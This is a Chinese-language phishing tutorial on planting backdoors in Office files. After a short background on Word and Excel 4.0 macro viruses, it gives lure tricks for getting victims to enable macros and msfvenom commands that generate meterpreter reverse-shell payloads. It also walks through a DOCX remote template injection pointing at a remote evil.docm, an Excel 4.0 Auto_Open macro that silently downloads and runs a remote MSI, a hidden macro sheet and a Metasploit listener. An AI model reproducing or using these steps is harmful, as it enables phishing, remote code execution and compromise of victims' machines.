钓鱼攻击之:OFFICE 宏后门文件钓鱼
钓鱼攻击之:OFFICE 宏后门文件钓鱼
1 宏病毒介绍
1.1 Word 宏
- Word的文件建立是通过模板来创建的,模板是为了形成最终文档而提供的特殊文档,模板可以包括以下几个元素:菜单、宏、格式(如备忘录等)。模板是文本、图形和格式编排的蓝图,对于某一类型的所有文档来说,文本、图像和格式编排都是类似的,即模板作为基类,文档继承模板的属性,包括宏、菜单、格式等。Word提供了几种常见文档类型的模板,如备忘录、报告和商务信件。一般情况下,Word自动将新文档基于缺省的公用模板(Normal.dot)。
- Word处理文档需要同时进行各种不同的动作,每一种动作其实都对应着特定的宏命令,如存文件与
FileSave
相对应、改名存文件对应着FileSaveAS
、打印则对应着FilePrint
等。Word打开文件时,它首先要检查是否有AutoOpen
宏存在,假如有这样的宏,Word就启动它,除非在此之前系统已经被“取消宏(Disable Auto Macros
)”命令设置成宏无效。当然,如果AutoClose
宏存在,则系统在关闭一个文件时,会自动执行它。 - 通常,宏病毒至少会包含一个以上的自动宏(如
AutoOpen、AutoClose、AutoExec、AutoExit
和AutoNew
等),或者是一个以上的标准宏,如FileOpen、FileSaveAs
等。由自动宏和/或标准宏构成的宏病毒,其内部都具有把带病毒的宏移植(复制)到通用宏的代码段,也就是说宏病毒通过这种方式实现对其他文件的传染。当Word系统退出时,它会自动地把所有通用宏(当然也包括传染进来的病毒宏)保存到模板文件中(即*.DOT
文件,通常为NORMAL.DOT
),当Word系统再次启动时,它又会自动地把所有通用宏(包括病毒宏)从模板中装入。如此这般,一旦Word系统遭受感染,则以后每当系统进行初始化时,系统都会随着NORMAL.DOT
的载入而成为带毒的Word系统,继而在打开和创建任何文档时感染该文档。 - 一旦病毒宏侵入Word系统,它就会替代原有的正常宏,如
FileOpen、FileSave、FileSaveAs
和FilePrint
等,并通过这些宏所关联的文件操作功能获取对文件交换的控制。当某项功能被调用时,相应的病毒宏就会篡夺控制权,实施病毒所定义的非法操作,包括传染操作、表现操作以及破坏操作等。宏病毒在感染一个文档时,首先要把文档转换成模板格式,然后把所有病毒宏(包括自动宏)复制到该文档中。被转换成模板格式后的染毒文件无法转存为任何其他格式。含有自动宏的宏病毒染毒文档,当被其他计算机的Word系统打开时,便会自动感染该计算机。例如,如果病毒捕获并修改了FileOpen
,那么它将感染每一个被打开的Word文件。 - 宏病毒主要寄生于
AutoOpen、AutoClose
和AutoNew
3个宏中,其引导、传染、表现或破坏均通过宏指令来完成的。宏指令是用宏语言WORDBASIC编写的,宏语言提供了许多系统级底层功能调用,因此,宏病毒利用宏语言实现其传染、表现或破坏的目的。
1.2 Excel 4.0宏
1992年发布用于Windows 3.0和3.1的电子表格软件Excel 4.0。对于自动化,可以通过所谓的宏工作表在此版本的Excel中使用XLM宏。X由于Microsoft很早就使用VBA宏(Visual Basic for Applications)来代替Excel 4.0宏技术,这导致Excel 4.0宏并不为大众所熟知。并且Excel 4.0宏存放在Excel 97 - 2003格式(.xls)文件中。
2 生成 Word 宏后门
-
利用技巧:
- 文档是被保护状态,需要启用宏才能查看;
- 添加一张模糊的图片,提示需要启用宏才能查看高清图片;
- 提示要查看文档,按给出的一系列步骤操作;
- 贴一张某杀毒软件的Logo图片,暗示文档被安全软件保护。
-
利用CS生成宏后门Payload:
attack-->payload--> office macro
-
MSF生成宏:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.2 lport=480 -f vba -o shellcode.txt
-
保存为支持宏的格式为:
.docm
-
缺点:宏代码是存在本地的,且极易被杀软查杀
3 利用DOCX文件远程模板注入执行宏
-
利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器发送恶意请求的方式,然后加载模板执行恶意模板的宏。
-
与传统的宏启⽤⽂档相⽐,这种攻击的好处是多⽅⾯的。发送的文档本身是不带恶意代码的,能过很多静态的检测。只需要在远程DOTM文档中编写宏病毒或者宏木马即可完成攻击。
-
利用技巧:需要创建两个不同的文件
- 第一个是启用宏的模板
.dotm
文件,该文件包含恶意VBA宏,格式要选择- 注意:是
.dotm
格式,.docm
经过测试无法运行(GET该文件显示304状态码)
- 注意:是
- 第二个是看似没有危害的
.docx
文件,本身不包含恶意代码,只有指向恶意模板文件的目标链接。- 注意:不要编写纯文本的文档
- 第一个是启用宏的模板
-
生成
.docm
文件,参考步骤1.2.2
-
生成
.docx
文件-
打开word
-
选择文件-->新建-->选择一个模板并点击创建-->保存该文档
-
修改该
.docx
文件后缀为.zip
格式,并解压。 -
进入到解压后的文件如下目录:
word\_rels
,找到settings.xml.rels
文件 -
打开并编辑
settings.xml.rels
文件<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\f_carey\AppData\Roaming\Microsoft\Templates\快照日历.dotm" TargetMode="External"/></Relationships>
编辑Target如下,并保存:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://192.168.0.2:8080/evil.docm" TargetMode="External"/></Relationships>
- 将其修改为我们docm文件所在的URL
-
将其中所有目录及文件选中,点击右键压缩,选中压缩文件格式为
.zip
格式 -
然后将其后缀名修改为
.docx
格式,再将其打开 -
选择启用宏以后,远程服务器的模板成功加载
-
4 Excel 4.0 宏后门
-
MSF生成MSI文件,并放在远程文件服务器上以供下载
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.50.2 lport=1080 -f msi -o shell.msi
-
MSF监听会话
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.50.2 set lport 4444 run -j
-
新建一个Excel并打开-->右键点击左下角标签页,选择插入-->弹出的窗口选择:MS Excel 4.0 宏表
-
在宏1标签页中:
# 在左上角第一个格子,输入以下内容,调用远程服务器上的shell.msi文件 # 第二个格子输入以下内容,标识Excel 4.0宏结束 =EXEC("msiexec /q /i http://192.168.50.2/shell.msi") =HALT() # 将左上角的A1模式修改为:Auto_Open,并Enter回车,自动运行宏。
-
为了避免对方打开能看到宏文件,增强隐蔽性,将宏1标签页进行隐藏。
-
保存为
.xlsm
格式文件 -
将文件发送给目标,当目标点击文件并启用宏时,宏会自动下载远程恶意MSI文件并运行,成功上线